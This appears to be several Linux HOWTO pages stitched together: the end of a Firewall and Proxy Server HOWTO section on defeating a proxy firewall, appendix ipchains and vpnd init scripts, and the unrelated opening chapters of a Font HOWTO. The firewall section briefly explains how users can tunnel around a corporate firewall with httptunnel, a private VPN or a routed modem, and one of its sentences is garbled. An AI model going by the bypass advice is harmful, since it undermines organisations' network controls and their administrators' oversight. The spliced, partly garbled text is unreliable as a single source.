Firewall and Proxy Server HOWTO: Defeating a Proxy Firewall

 Next Previous Contents
httptunnel. httptunnel creates a bidirectional virtual data path tunnelled in HTTP requests. The HTTP requests can be sent via an HTTP proxy if so desired. Or, on their system they install a Virtual Private Network (vpn). See: http://sunsite.auc.dk/vpnd/ Or, Maybe this user simply puts a modem on their NT system and turns on routing. Finally, on the workstation, on the private LAN, change the default gateway to point to the new route to the Internet. Now, from this workstation, you can go anywhere. The only thing the firewall admin might see is one connect with nowill see is a really long DNS lookup. Now, take over the world!


Firewall and Proxy Server HOWTO: APPENDEX A - Example Scripts

 Next Previous Contents

15. APPENDEX A - Example Scripts

15.1 RC Script useing GFCC

#!/bin/bash
#
# Firewall Script - Version 0.9.1
#
# chkconfig: 2345 09 99
# description: firewall script for 2.2.x kernel
# Set for testing
# set -x
#
# NOTES:
#
#  This script is written for RedHat 6.1 or better.
#
#  Be careful about offering public services like web or ftp servers.
#
# INSTALLATION:
#  1. place this file in /etc/rc.d/init.d  (you'll have to be root..)
#     call it something like "firewall"    :-)
#     make it root owned -->  "chown root.root (filename)"
#     make it executable -->  "chmod 755 (filename)"
#
#  2. use GFCC to create your firewall rules and export them to a file
#     named /etc/gfcc/rules/firewall.rule.sh.
#
#  3. add the firewall to the RH init structure --> "chkconfig --add (filename)"
#     next time the router boots, things should happen automagically!
#     sleep better at night knowing you are *LESS* vulnerable than before...
#
# RELEASE NOTES
#   30 Jan, 2000 - Changed to GFCC script
#   11 Dec, 1999 - updated by Mark Grennan <mark@grennan.com>
#   20 July, 1999 - initial writing - Anthony Ball <tony@LinuxSIG.org>
#

################################################

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

# See how we are called
case "$1" in

  start)
        # Start providing access
        action "Starting firewall: " /bin/true
        /etc/gfcc/rules/firewall.rule.sh
        echo
        ;;

  stop)
        action "Stoping firewall: " /bin/true
        echo 0 > /proc/sys/net/ipv4/ip_forward
        /sbin/ipchains -F input
        /sbin/ipchains -F output
        /sbin/ipchains -F forward

        echo
        ;;

  restart)
        action "Restarting firewall: " /bin/true
        $0 stop
        $0 start

        echo
        ;;

  status)
        # List out all settings
        /sbin/ipchains -L
        ;;

  test)
        action "Test Mode firewall: " /bin/true
        /sbin/ipchains -F input
        /sbin/ipchains -F output
        /sbin/ipchains -F forward
        echo 1 > /proc/sys/net/ipv4/ip_forward
        /sbin/ipchains -A input -j ACCEPT
        /sbin/ipchains -A output -j ACCEPT
        /sbin/ipchains -P forward DENY
        /sbin/ipchains -A forward -i $PUBLIC -j MASQ

        echo
        ;;

  *)
        echo "Usage: $0 {start|stop|restart|status|test}"
        exit 1

esac

15.2 GFCC script

This script was generated by the Graphical Firewall program (GFCC). This is not the working rule set. This is the exported rules set.

#!/bin/sh
# Generated by Gtk+ firewall control center

IPCHAINS=/sbin/ipchains

localnet="192.168.1.0/24"
firewallhost="192.168.1.1/32"
localhost="172.0.0.0/8"
DNS1="24.94.163.119/32"
DNS2="24.94.163.124/32"
Broadcast="255.255.255.255/32"
Multicast="224.0.0.0/8"
Any="0.0.0.0/0"
mail_grennan_com="192.168.1.1/32"
mark_grennan_com="192.168.1.3/32"

$IPCHAINS -P input DENY
$IPCHAINS -P forward ACCEPT
$IPCHAINS -P output ACCEPT

$IPCHAINS -F
$IPCHAINS -X

# input rules
$IPCHAINS -A input -s $Any -d $Broadcast -j DENY
$IPCHAINS -A input -p udp -s $Any -d $Any netbios-ns -j DENY
$IPCHAINS -A input -p tcp -s $Any -d $Any netbios-ns -j DENY
$IPCHAINS -A input -p udp -s $Any -d $Any netbios-dgm -j DENY
$IPCHAINS -A input -p tcp -s $Any -d $Any netbios-dgm -j DENY
$IPCHAINS -A input -p udp -s $Any -d $Any bootps -j DENY
$IPCHAINS -A input -p udp -s $Any -d $Any bootpc -j DENY
$IPCHAINS -A input -s $Multicast -d $Any -j DENY
$IPCHAINS -A input -s $localhost -d $Any -i lo -j ACCEPT
$IPCHAINS -A input -s $localnet -d $Any -i eth1 -j ACCEPT
$IPCHAINS -A input -s $localnet -d $Broadcast -i eth1 -j ACCEPT
$IPCHAINS -A input -p icmp -s $Any -d $Any -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any -j ACCEPT ! -y
$IPCHAINS -A input -p udp -s $DNS1 domain -d $Any 1023:65535 -j ACCEPT
$IPCHAINS -A input -p udp -s $DNS2 domain -d $Any 1023:65535 -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any ssh -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any telnet -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any smtp -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any pop-3 -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any auth -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any www -j ACCEPT
$IPCHAINS -A input -p tcp -s $Any -d $Any ftp -j ACCEPT
$IPCHAINS -A input -s $Any -d $Any -j DENY -l

# forward rules
$IPCHAINS -A forward -s $localnet -d $Any -j MASQ

# output rules

15.3 RC Script without GFCC This is the firewall rules set built my hand. It does not use GFCC.

#!/bin/bash
#
# Firewall Script - Version 0.9.0

# chkconfig: 2345 09 99
# description: firewall script for 2.2.x kernel

# Set for testing
# set -x

#
# NOTES:
#
#  This script is written for RedHat 6.0 or better.
#
#  This firewall script should work for most routers, dial-up or cable modem.
#  It was written for RedHat distributions.
#
#  Be careful about offering public services like web or ftp servers.
#
# INSTALLATION:
#  1. This file planned for a RedHat system.  It would work
#     on other distro's with perhaps no modification, but again...
#     Who knows?!!?  These instructions apply to RedHat systems.
#
#  2. place this file in /etc/rc.d/init.d  (you'll have to be root..)
#     call it something like "firewall"    :-)
#     make it root owned -->  "chown root.root <filename>"
#     make it executable -->  "chmod 755 <filename>"
#
#  3. set the values for your network, internal interface, and DNS servers
#     uncomment lines further down to enable optional in-bound services
#     make sure "eth0" is your internal NIC (or change the value below)
#     test it -->  "/etc/rc.d/init.d/<filename> start"
#     you can list the rules -->  "ipchains -L -n"
#     fix anything that broke...  :-)
#
#  4. add the firewall to the RH init structure --> "chkconfig --add <filename>"
#     next time the router boots, things should happen automagically!
#     sleep better at night knowing you are *LESS* vulnerable than before...
#
# RELEASE NOTES
#   20 July, 1999 - initial writing - Anthony Ball <tony@LinuxSIG.org>
#   11 Dec, 1999 - updated by Mark Grennan <mark@grennan.com>
#

################################################
#  Fill in the values below to match your
#  local network.

PRIVATENET=xxx.xxx.xxx.xxx/xx

PUBLIC=ppp0
PRIVATE=eth0

# your dns servers
DNS1=xxx.xxx.xxx.xxx
DNS2=xxx.xxx.xxx.xxx

################################################

# some handy generic values to use
ANY=0.0.0.0/0
ALLONES=255.255.255.255

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

# See how we are called
case "$1" in

  start)
        # Start providing access
        action "Starting firewall: " /bin/true

        ##
        ## Setup Envirement
        ##
        # Flush all lists
        /sbin/ipchains -F input
        /sbin/ipchains -F output
        /sbin/ipchains -F forward

        # Plug up everything
        /sbin/ipchains -I input 1 -j DENY

        # set policy to deny (Default is ACCEPT)
        /sbin/ipchains -P input DENY
        /sbin/ipchains -P output ACCEPT
        /sbin/ipchains -P forward ACCEPT

        # Turn on packet forwarding
        echo 1 > /proc/sys/net/ipv4/ip_forward

        ##
        ## Install Modules
        ##
        # Insert the active ftp module.  This will allow non-passive ftp to machines
        # on the local network (but not to the router since it is not masq'd)
        if ! ( /sbin/lsmod | /bin/grep masq_ftp > /dev/null ); then
            /sbin/insmod ip_masq_ftp
        fi

        ##
        ## Some Security Stuff
        ##
        # turn on Source Address Verification and get spoof protection
        # on all current and future interfaces.
        if [ -e /proc/sys/net/ipv4/conf/all/rp_filter ]; then
            for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
                echo 1 > $f
            done
        else
            echo
            echo "PROBLEMS SETTING UP IP SPOOFING PROTECTION.  BE WORRIED."
            echo
        fi

        # deny bcasts on remaining interfaces
        /sbin/ipchains -A input -d 0.0.0.0 -j DENY
        /sbin/ipchains -A input -d 255.255.255.255 -j DENY

        # deny these without logging 'cause there tend to be a lot...
        /sbin/ipchains -A input -p udp -d $ANY 137 -j DENY   # NetBIOS over IP
        /sbin/ipchains -A input -p tcp -d $ANY 137 -j DENY   #   ""
        /sbin/ipchains -A input -p udp -d $ANY 138 -j DENY   #   ""
        /sbin/ipchains -A input -p tcp -d $ANY 138 -j DENY   #   ""
        /sbin/ipchains -A input -p udp -d $ANY 67 -j DENY    # bootp
        /sbin/ipchains -A input -p udp -d $ANY 68 -j DENY    #   ""
        /sbin/ipchains -A input -s 224.0.0.0/8 -j DENY       # Multicast addresses

        ##
        ## Allow private network out
        ##
        # allow all packets on the loopback interface
        /sbin/ipchains -A input -i lo -j ACCEPT

        # allow all packets from the internal "trusted" interface
        /sbin/ipchains -A input -i $PRIVATE -s $PRIVATENET -d $ANY -j ACCEPT
        /sbin/ipchains -A input -i $PRIVATE -d $ALLONES -j ACCEPT

        ##
        ## Allow Outside Services into the firewall (if you dare)
        ##
        # allow ICMP
        /sbin/ipchains -A input -p icmp -j ACCEPT
        # allow TCP
        /sbin/ipchains -A input -p tcp ! -y -j ACCEPT

        # allow lookups to DNS (on firewall)
        /sbin/ipchains -A input -p udp -s $DNS1 domain -d $ANY 1023: -j ACCEPT
        /sbin/ipchains -A input -p udp -s $DNS2 domain -d $ANY 1023: -j ACCEPT
        # or (BETTER IDEA) run a caching DNS server on the router and use the
        # following two lines instead...
        # /sbin/ipchains -A input -p udp -s $DNS1 domain -d $ANY domain -j ACCEPT
        # /sbin/ipchains -A input -p udp -s $DNS2 domain -d $ANY domain -j ACCEPT

        # uncomment the following to allow ssh in
        /sbin/ipchains -A input -p tcp -d $ANY 22 -j ACCEPT

        # uncomment the following to allow telnet in (BAD IDEA!!)
        /sbin/ipchains -A input -p tcp -d $ANY telnet -j ACCEPT

        # uncomment to allow NTP (network time protocol) to router
        # /sbin/ipchains -A input -p udp -d $ANY ntp -j ACCEPT

        # uncomment to allow SMTP in (not for mail clients - only a server)
        /sbin/ipchains -A input -p tcp -d $ANY smtp -j ACCEPT

        # uncomment to allow POP3 in (for mail clients)
        /sbin/ipchains -A input -p tcp -d $ANY 110 -j ACCEPT

        # allow auth in for sending mail or doing ftp
        /sbin/ipchains -A input -p tcp -d $ANY auth -j ACCEPT

        # uncomment to allow HTTP in (only if you run a web server on the router)
        /sbin/ipchains -A input -p tcp -d $ANY http -j ACCEPT

        # uncomment to allow FTP in
        /sbin/ipchains -A input -p tcp -d $ANY ftp -j ACCEPT

        ##
        ## Masquerading stuff
        ##
        # masquerade packets forwarded from internal network
        /sbin/ipchains -A forward -s $PRIVATENET -d $ANY -j MASQ

        ##
        ## deny EVERYthing else and log them to /var/log/messages
        ##
        /sbin/ipchains -A input -l -j DENY

        # Remove the Plug
        /sbin/ipchains -D input 1

        ;;

  stop)
        action "Stoping firewall: " /bin/true
        echo 0 > /proc/sys/net/ipv4/ip_forward
        /sbin/ipchains -F input
        /sbin/ipchains -F output
        /sbin/ipchains -F forward

        echo
        ;;

  restart)
        action "Restarting firewall: " /bin/true
        $0 stop
        $0 start

        echo
        ;;

  status)
        # List out settings
        /sbin/ipchains -L
        ;;

  test)
        ##
        ## This is about as simple as it gets
        ##    (This is not secure AT ALL)
        action "WARNING Test Firewall: " /bin/true
        /sbin/ipchains -F input
        /sbin/ipchains -F output
        /sbin/ipchains -F forward
        echo 1 > /proc/sys/net/ipv4/ip_forward
        /sbin/ipchains -A input -j ACCEPT
        /sbin/ipchains -A output -j ACCEPT
        /sbin/ipchains -P forward DENY
        /sbin/ipchains -A forward -i $PUBLIC -j MASQ

        echo
        ;;

  *)
        echo "Usage: $0 {start|stop|restart|status|test}"
        exit 1

esac


Firewall and Proxy Server HOWTO: APPENDEX B - An VPN RC Script for RedHat

 Next Previous Contents

16. APPENDEX B - An VPN RC Script for RedHat

#!/bin/sh
#
# vpnd            This shell script takes care of starting and stopping
#                 vpnd (Vertual Privage Network connections).
#
# chkconfig: - 96 96
# description: vpnd
#

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

[ -f /usr/sbin/vpnd ] || exit 0

[ -f /etc/vpnd.conf ] || exit 0

RETVAL=0

# See how we were called.
case "$1" in
  start)
        # Start daemons.
        echo -n "Starting vpnd: "
        daemon vpnd
        RETVAL=$?
        [ $RETVAL -eq 0 ] && touch /var/lock/subsys/vpnd
        echo
        ;;
  stop)
        # Stop daemons.
        echo -n "Shutting down vpnd: "
        killproc vpnd
        RETVAL=$?
        [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/vpnd
        echo
        ;;
  restart)
        $0 stop
        $0 start
        ;;
  *)
        echo "Usage: vpnd {start|stop|restart}"
        exit 1
esac

exit $RETVAL


Font HOWTO

Donovan Rebbechi, elflord@panix.com

1. Introduction

  • 1.1 The Location of This Document
  • 1.2 Rationale
  • 1.3 Credits and Acknowledgements

2. Fonts 101 -- A Quick Introduction to Fonts

  • 2.1 Types of fonts
  • 2.2 Families of Typefaces

3. Fonts 102 -- Typography

  • 3.1 Classifications of Typefaces
  • 3.2 Ligatures, Small caps fonts and expert fonts
  • 3.3 Font Metrics and Shapes

4. Making Fonts Available To X

  • 4.1 The font path
  • 4.2 Installing Type1 Fonts
  • 4.3 True Type Fonts
  • 4.4 xfs

5. Making Fonts Available To Ghostscript

  • 5.1 Type1
  • 5.2 True Type
  • 5.3 Using Ghostscript To Preview Fonts

6. True Type to Type1 Conversion

  • 6.1 Why ?
  • 6.2 How ?

7. WYSIWYG Publishing and Fonts

  • 7.1 Introduction and Overview
  • 7.2 Applixware
  • 7.3 Star Office
  • 7.4 Word Perfect

8. Netscape

9. TeX / LaTeX

  • 9.1 A Quick Primer on LaTeX/TeX fonts
  • 9.2 Adding Type1 fonts

10. Getting Fonts For Linux

  • 10.1 True Type
  • 10.2 Type 1 Fonts and Metafont

11. Useful Font Software for Linux

12. Ethics and Licensing Issues Related to Type

13. References

  • 13.1 Font Information
  • 13.2 Postscript and Printing Information

14. Glossary


Font HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 The Location of This Document

This document is located at my webpage

1.2 Rationale

I'm going to make this brief (-; The purpose of this document is to address what was a gaping hole in font documentation. While previously, there were several documents about fonts for Linux, I felt that none of them were comprehensive, all of them had a relatively narrow focus. Hence the goal of this document is not to provide radical new insight into the issue of font handling ( though I have included material previously unavailable ), the main aim is to provide a comprehensive source to act as a starting point for any and all font questions about Linux.

1.3 Credits and Acknowledgements

Special thanks are due to Rod Smith, who made several helpful suggestions, and fixed pfm2afm. Also thanks to Doug Holland, whose Font Deuglification HOWTO proved to be a good reference, John McLaughlin, author of the document that helped me come to grips with Star Office, and the Linux community for their suggestions and construtive comments.


Font HOWTO: Fonts 101 -- A Quick Introduction to Fonts

 Next Previous Contents

2. Fonts 101 -- A Quick Introduction to Fonts

2.1 Types of fonts

Bitmap Fonts

A bitmap is a matrix of dots. Bitmap fonts are represented in precisely this way -- as matrices of dots. Because of this, they are device dependent -- they are only useful at a particular resolution. A 75 DPI screen bitmap font is still 75 DPI on your 1200 DPI printer.

There are two types of bitmap fonts -- bitmap printer fonts, such as the pk fonts generated by dvips, and bitmap screen fonts, used by X and the console. The bitmap screen fonts typically have a bdf or pcf extension. Bitmap screen fonts are most useful for terminal windows, consoles and text editors, where the lack of scalability and the fact that they are unprintable is not an issue.

Type1 Fonts

The Type1 font standard was devised by Adobe, and Type1 fonts are supported by Adobe's postscript standard. Because of this, they are also well supported under linux. They are supported by X and ghostscript. Postscript fonts have traditionally been the choice of font for anything on UNIX that involves printing.

Typically, a UNIX Type1 font is distributed as an afm ( adobe font metric ) file, and an outline file, which is usually a pfb ( printer font binary ) or pfa ( printer font ascii ) file. The outline file contains all the glyphs, while the metric file contains the metrics.

Type 1 fonts for other platforms may be distributed in different formats. For example, postscript fonts for windows often use a different format ( pfm ) for the metric file.

Type3 fonts

These fonts are distributed in a similar manner to Type1 files -- in groups of afm font metrics, and pfa files. While they are supported by the postscript standard, they are not supported by X, and hence have limited use.

TrueType fonts

True type fonts were developed by Apple. They made the format available to Microsoft, and succesfully challenged Adobe's grip on the font market. True type fonts store the metric and shape information in a single file ( usually one with a ttf extension ). Recently, font servers have been developed that make TrueType available to X. And postscript and ghostscript have supported TrueType fonts for some time. Because of this, TrueType fonts are becoming more popular on linux.

Type42 Fonts

Type42 fonts are actually just TrueType fonts with headers that enable them to be rendered by a postscript interpreter. Most applications, such as ghostscript and SAMBA handle these fonts transparently. However, if you have a postscript printer, it may be necessary to explicitly create Type42 font files.

Type1 vs TrueType -- a comparison

Despite the historical feuding between the proponents to Type1 and TrueType fonts, both have a lot in common. Both are scalable outline fonts. Type1 fonts use cubic as opposed to quadratic curves for the glyphs. This is in theory at least a slight advantage since they include all the curves available to TrueType fonts. In practice, it makes very little difference.

TrueType fonts have the apparent advantage that their support for hinting is better ( Type1 fonts do have hinting functionality, but it is not as extensive as that of TrueType fonts ). However, this is only an issue on low resolution devices, such as screens ( the improved hinting makes no discernable difference on a 600dpi printer, even at small point sizes. ) The other point that makes this apparent advantage somewhat questionable is the fact that well hinted TrueType fonts are rare. This is because software packages that support hinting functionality are out of the budget of most small time designers. Only a few major foundries, such as Monotype make well hinted fonts available.

In conclusion, the main differences between TrueType and Type1 fonts are in availability and application support. The widespread availability of TrueType fonts for Windows has resolted in webpages designed with the assumption that certain TrueType fonts are available. Also, many users have large numbers of TrueType fonts because they ship with the users Windows applications. However, on Linux, most applications support Type1 fonts but do not have the same level of support for TrueType. Moreover, most major font foundries still ship most of their fonts in Type1 format. For example, Adobe ship very few TrueType fonts. My recommendation to users is to use whatever works for your application, and try to avoid converting from one format to another where possible ( because the format conversion is not without loss ).

Metafont

Metafont was developed by Donald E Knuth as part of the TeX typesetting system. Metafont is a graphics programming language ( like postscript ) that has applications wider than just fonts. Metafonts exhibit some very desirable qualities. One of the important features is that metafonts can scale very gracefully. The metafont Computer Modern has different shape at 20 point and 10 point. The shape changes with size, because it is desirable for a smaller font to be proportionately wider than a larger font ( this makes the larger fonts more elegant and the smaller font more readable ).

Metafonts typically have a mf extension. They are rendered to device dependent bitmap fonts. The rendering is slow, so they are of excellent quality, but are not well suited to WYSIWYG publishing.

2.2 Families of Typefaces

Typically typically come in groups of a few variants. For example, most fonts come with a bold, italic, and bold-italic variant. Some fonts may also have small caps, and demibold variants. A group of fonts consisting of a font and its variants is called a family of typefaces. For example, the Garamond family consists of Garamond, Garamond-italic, Garamond-bold, Garamond bold-italic, Garamond demi-bold, and Garamond demi-bold-italic. The Adobe expert Garamond font also makes available Garamond small caps, and Garamond titling capitals.


Font HOWTO: Fonts 102 -- Typography

 Next Previous Contents

3. Fonts 102 -- Typography

Here, we discuss some typography basics. While this information is not essential, many font lovers will find it interesting.

3.1 Classifications of Typefaces

Fixed versus variable width

There are several classifications of typefaces. Firstly, there are fixed width fonts, and variable width fonts. The fixed width fonts look like typewriter text, because each character is the same width. This quality is desirable for something like a text editor or a computer console, but not desirable for the body text of a long document. The other class is variable width. Most of the fonts you will use are variable width, though fixed with can be useful also ( for example, all the example shell commands in this document are illustrated with a fixed with font ). The most well known fixed width font is courier.

To serif or not to serif ?

Serifs are little hooks on the ends of characters. For example, the letter i in a font such as Times Roman has serifs protruding from the base of the i and the head of the i. Serif fonts are usually considered more readable than fonts without serifs. There are many different types of serif fonts.

Sans serif fonts do not have these little hooks, so they have a starker appearance. One usually does not write a long book using a sans serif font for the body text. There are sans serif fonts that are readable enough to be well suited to documents that are supposed to be browsed / skimmed ( web pages, catalogues, marketting brochures ). Another application that sans serif fonts have is as display fonts on computer screens, especially at small sizes. The lack of detail in the font can provide it with more clarity. For example, Microsoft touts Verdana as being readable at very small sizes on screen.

Notable sans serif fonts include Lucida sans, MS Comic Sans, Verdana, Myriad, Avant Garde, Arial, Century Gothic and Helvetica. By the way, Helvetica is considered harmful by typographers. It is somewhat overused, and many books by typographers plead users to stay away from it.

The old and the new -- different types of Serif fonts

Old Style

Old style fonts are based on very traditional styles dating as far back as the late 15th century. Old style fonts tend to be conservative in design, and very readable. They are well suited to writing long documents. The name ``old style'' refers to the style of the font, as opposed to the date of its design. There are classic old style fonts, such as Goudy Old Style, which wre designed in the 20th century. The old style class of fonts has the following distinguishing features:

  • Well defined, shapely serifs.
  • Diagonal emphasis. Imagine drawing a font with a fountain pen, where lines 45 degrees anticlockwise from vertical are heavy and lines 45 degrees clockwise from verticle are light. Old style fonts often have this appearance.
  • Readability. Old style fonts are almost always very readable.
  • Subtlety and lack of contrast. The old style fonts have heavy lines and light lines but the contrast in weight is subtle, not stark.
Notable Old Style fonts include Garamond, Goudy Old Style, Jenson, and Caslon ( the latter is contentious -- some consider it transitional )

Moderns ( or didone )

The moderns are the opposite of old style fonts. These fonts typically have more character, and more attitude than their old style counterparts, and can be used to add character to a document rather than to typeset a long piece. However, nothing is black and white -- and there are some modern fonts such as computer modern and Monotype modern, and New Century Schoolbook are very readable ( the contrast between heavy and light is softened to add readability ). They are based on the designs popular in the 19th century and later. Their distinguishing features include:

  • Lighter serifs, often just thin horizontal lines.
  • Vertical emphasis. Vertical lines are heavy, horizontal lines are light.
  • Many moderns have a stark contrast between light and heavy strokes.
  • Modern typefaces with high contrast between light and heavy strokes are not as readable as the old style fonts.
Bodoni is the most notable modern. Other moderns include computer modern, and Monotype modern ( on which computer modern is based ).

Transitional

Transitional fonts fit somewhere in between moderns and old style fonts. Many of the transitionals have the same kind of readability as the old styles. However, they are based on slightly later design. While a move in the direction of the moderns may be visible in these fonts, they are still much more subtle than the the moderns. Examples of transitionals include Times Roman, Utopia, Bulmer, and Baskerville. Of these, Times leans towards old style, while Bulmer looks very modern.

Slab Serifs

The slab serif fonts are so named because they have thick, block like serifs, as opposed to the smooth hooks of the old styles or the thin lines of some of the moderns. Slab serif fonts tend to be sturdy looking and are generally quite readable. Many of the slab serifs have Egyptian names -- such as Nile, and Egyptienne ( though they are not really in any way Egyptian ). These fonts are great for producing readable text that may suffer some dilution in quality ( such as photocpied documents, and documents printed on newspaper ). These fonts tend to look fairly sturdy. The most notable slab serif fonts are Clarendon, Memphis and Egyptienne, as well as several typewriter fonts. Many of the slab serif fonts are fixed width. Conversely, most ( almost all ) fixed width fonts are slab serif.

The Sans Serif Revolution

Surprisingly, the rise of sans serif fonts is a fairly recent phenomenon. The first well known sans serif fonts were designed in the 19th early 20th century. The earlier designs include Futura, Grotesque and Gill Sans. These fonts represent respectively the ``geometric'', ``grotesque'' and ``humanist'' classes of sans serif fonts.

Grotesque

The grotesques where so named because the public were initially somewhat shocked by their relatively stark design. Groteques are very bare in appearance due to the absence of serifs, and the simpler, cleaner designs. Because of their ``in your face'' appearance, grotesques are good for headlines. The more readable variations also work quite well for comic books, and marketting brochures, where the body text comes in small doses. Grotesques don't look as artsy as their geometric counterparts. Compared to the geometrics, they have more variation in weight, more strokes, they are squarer ( because they don't use such circular arcs ). They use a different upper case G and lower case a to the geometrics. While they are minimalistic but don't go to the same extreme as the brutally avant-garde geometrics.

Notable grotesques include the overused Helvetica, Grotesque, Arial, Franklin Gothic, and Univers.

Geometric

The Futura font came with the manifesto: form follows function. The geometric class of fonts has a stark minimalistic appearance. Distinguishing features include a constant line thickness ( no weight ). This is particularly conspicuous in the bold variants of a font. Bold groteques and humanist fonts often show some notable variation in weight while this rarely happens with the geometric fonts. Also notable is the precise minimalism of these designs. The characters almost always are made up from straight horizontal and vertical lines, and arcs that are very circular ( to the point where they often look as though they were drawn with a compass ). The characters have a minimal number of strokes. This gives them a contemporary look in that they embrace the minimalistic philosophy that would later take the world of modern art by storm. A tell tale sign that a font is a geometric type is the upper case ``G'', which consists of a minimalistic combination of two strokes -- a long circular arc and a horizontal line. The other character that stands out is the lower case ``a'' -- which is again two simple strokes, a straight vertical line and a circle ( the other ``a'' character is more complex which is why it is not used ). Notable geometrics include Avant Garde, Futura, and Century Gothic.

Humanist

As the name might suggest, humanist fonts were designed with a goal of being less mechanical in appearance. In many ways, they are more similar to the serif fonts than the geometrics and the grotesques. They are said to have a ``pen drawn'' look about them. They tend to have subtle variation in weight, especially observable in bold variants. The curve shapes are considerably less rigid than those of the geometrics. Many of them are distinguishable by the ``double story'' lower case g, which is the same shape as the g used in the old style serif fonts. The humanist typefaces are the easiest to use without producing an ugly document as they are relatively compatible with the old style fonts.

Compatible Typefaces

Grouping typefaces is not easy, so it pays to avoid using too many on the one page. A logical choice of two typefaces consists of a serif and a sans serif. Monotype's Typography 101 page provides a category-matchup. They conclude that the moderns and geometrics form good pairs, while the old styles and humanists also go together well. The transitionals are also paired with the humanists. The slab serifs are paired with the grotesques, and some variants of the slab serifs are also said to match the geometrics or humanists.

From reading this, one gets the impression that their philosophy is essentially to match the more conservative serifs with the more moderate sans serifs, and pair the wilder modern serifs with the avant garde looking ( pun unavoidable ) geometrics.

3.2 Ligatures, Small caps fonts and expert fonts

Ligatures

Properly spacing fonts brings with it all sorts of issues. For example, to properly typeset the letters ``fi'', the i should be very close to the f. The problem is that this causes the dot on the i to collide with the f, and the serif on the head of the i to collide with the horizontal stroke of the f. To deal with this problem, font collections include ligatures. For example, the ``fi'' ligature character is a single character that one can substitute for the the two character string ``fi''. Most fonts contain fi and fl ligatures. Expert fonts discussed later often include extra ligatures, such as ffl, ffi, and a dotless i character.

Small caps fonts

Small caps fonts are fonts that have reduced size upper case letters in place of the lower case letters. These are useful for writing headings that require emphasis ( and they are often used in LaTeX ). Typically, when one writes a heading in small caps, they use a large cap for the beginning of each word, and small capitals for the rest of the word ( ``title case'' ). The advantage of this over using all caps is that you get something that is much more readable ( using all caps is a big typographic sin ).

Expert fonts

Expert fonts consist of several extras designed to supplement a typeface. These include things like ligatures, ornaments ( much like a mini-dingbats collection designed to go with the typeface ), small caps fonts, and swash capitals ( fancy, calligraphic letters ).

3.3 Font Metrics and Shapes

Font metrics define the spacing between variable width fonts. The metrics include information about the size of the font, and kerning information, which assigns kerning pairs -- pairs of characters that should be given different spacing. For example, the letters ``To'' would usually belong in a kerning pair, because correctly spaced ( or kerned ), the o should partly sit under the T. Typesetting programs such as LaTeX need to know information about kerning so that they can make decisions about where to break lines and pages. The same applies to WYWIWYG publishing programs.

In addition to the metrics, is the font outline, or shape. The components of the fonts shape ( a stroke, an accent, etc ) are called ``glyphs''.


Font HOWTO: Making Fonts Available To X

 Next Previous Contents

4. Making Fonts Available To X

There are a number of ways fonts can be added to X. Firstly, XFree86 has a font path which is just a list of several directories or font servers where it searches for fonts. A font server is just a background process that makes fonts available to XFree86. An advantage of font servers is that they can send fonts to remote displays.

Recently, xfs ( the ``X font server'' ) has been patched to support TrueType fonts, and run as a stand-alone program. The patched version ships with Redhat and Redhat-based distributions, and is included in XFree86 3.9.17 ( the latest version at the time of writing. It will also be a part of XFree86 4.0 ) xfs is actually just the standard font server that comes with XFree86. It's source code is part of the XFree86 source tree. However, distributions have recently been shipping a version that runs in stand alone mode. The standalone X font server, with the TrueType support patch ( the TrueType support takes place via a font server called xfsft ) is probably the nicest font management solution currently available. Its advantages include:

  • Support for different types of fonts, including Type1, TrueType and bitmap.
  • Makes fonts available to remote displays.
  • Greatly simplifies editing the fontpath -- you can do it via the command line utility chkfontpath, as opposed to having to edit configuration files. This not only makes life easier for users, it makes packaging more safer and more scriptable for packagers.

Because different distributions ship with different configurations, it is not true that one size fits all. We can split users up into three groups:

  • Your distribution ships with a standalone xfs and it has been patched to support TrueType. This group includes Redhat users and users of derivatives of Redhat such as Mandrake, TurboLinux, and Independence. For this group, the wisest strategy is to install both TrueType and Type1 fonts through xfs
  • Some distributions ship with a stand alone xfs package, but no TrueType support (at the time of writing. Note that XFree86 supports TrueType as of version 3.9.17 ). This includes Debian. For these users, the best thing to do is use xfs to install Type1 fonts, and install TrueType fonts via xfstt. Debian users can seek out the TrueType Fonts in Debian mini-HOWTO for information about installing TrueType fonts in Debian.
  • If you don't have xfs then you will need to install Type1 fonts by adding to their XFree86 font path and using xset. You should install TrueType via xfstt.

4.1 The font path

XFree86 finds your fonts by searching a font path, a list of directories ( or servers -- we'll explain this further later. ) containing fonts. When an application requests a font, it searches through the directories in your font path one at a time until the font is found. To make fonts available requires you to set your font path. You can add a directory to your font path with the command

        xset fp+ directory
Once you have done this, you need to ask the X server to re-scan for available fonts with the command
        xset fp rehash
Since you will want these commands to run automatically, you should put them in your .xinitrc file ( or possibly your .Xclients or .xsession file -- this depends on how you start X. It's convenient to make two of these files symlinks to the other to avoid confusion ). Another way to have the commands set automatically is edit XF86Config. For example, to add /usr/share/fonts/myfonts to the fontpath when X is started, edit XF86Config like this:
                ...
                Section "Files"
                ...

                FontPath /usr/share/fonts/myfonts
                ...
                EndSection
                ...
The advantage of editing XF86Config is that the resulting changes are system wide.

4.2 Installing Type1 Fonts

Run Type1inst

The easiest way to make Type1 fonts available to X is with the help of the Type1inst utility. This is a perlscript that automatically creates the fonts.dir and fonts.scale files that you need for X to use the fonts. Simply CD to the directory, and run type1inst.

        cd directory
        type1inst

If You Have the xfs Package

Now you need to add the fonts to your fontpath. If you already have the standalone xfs running, you do this by editing your xfs configuration file. Redhat users can just use chkfontpath. the format is chkfontpath --add directory

Your fonts should now be available to X. Now you just run

        xset fp rehash
and X will be able to find the new fonts.

If You Don't Have The xfs Package

In this case, you need to add the directory containing your new fonts to the font path, as described previously.

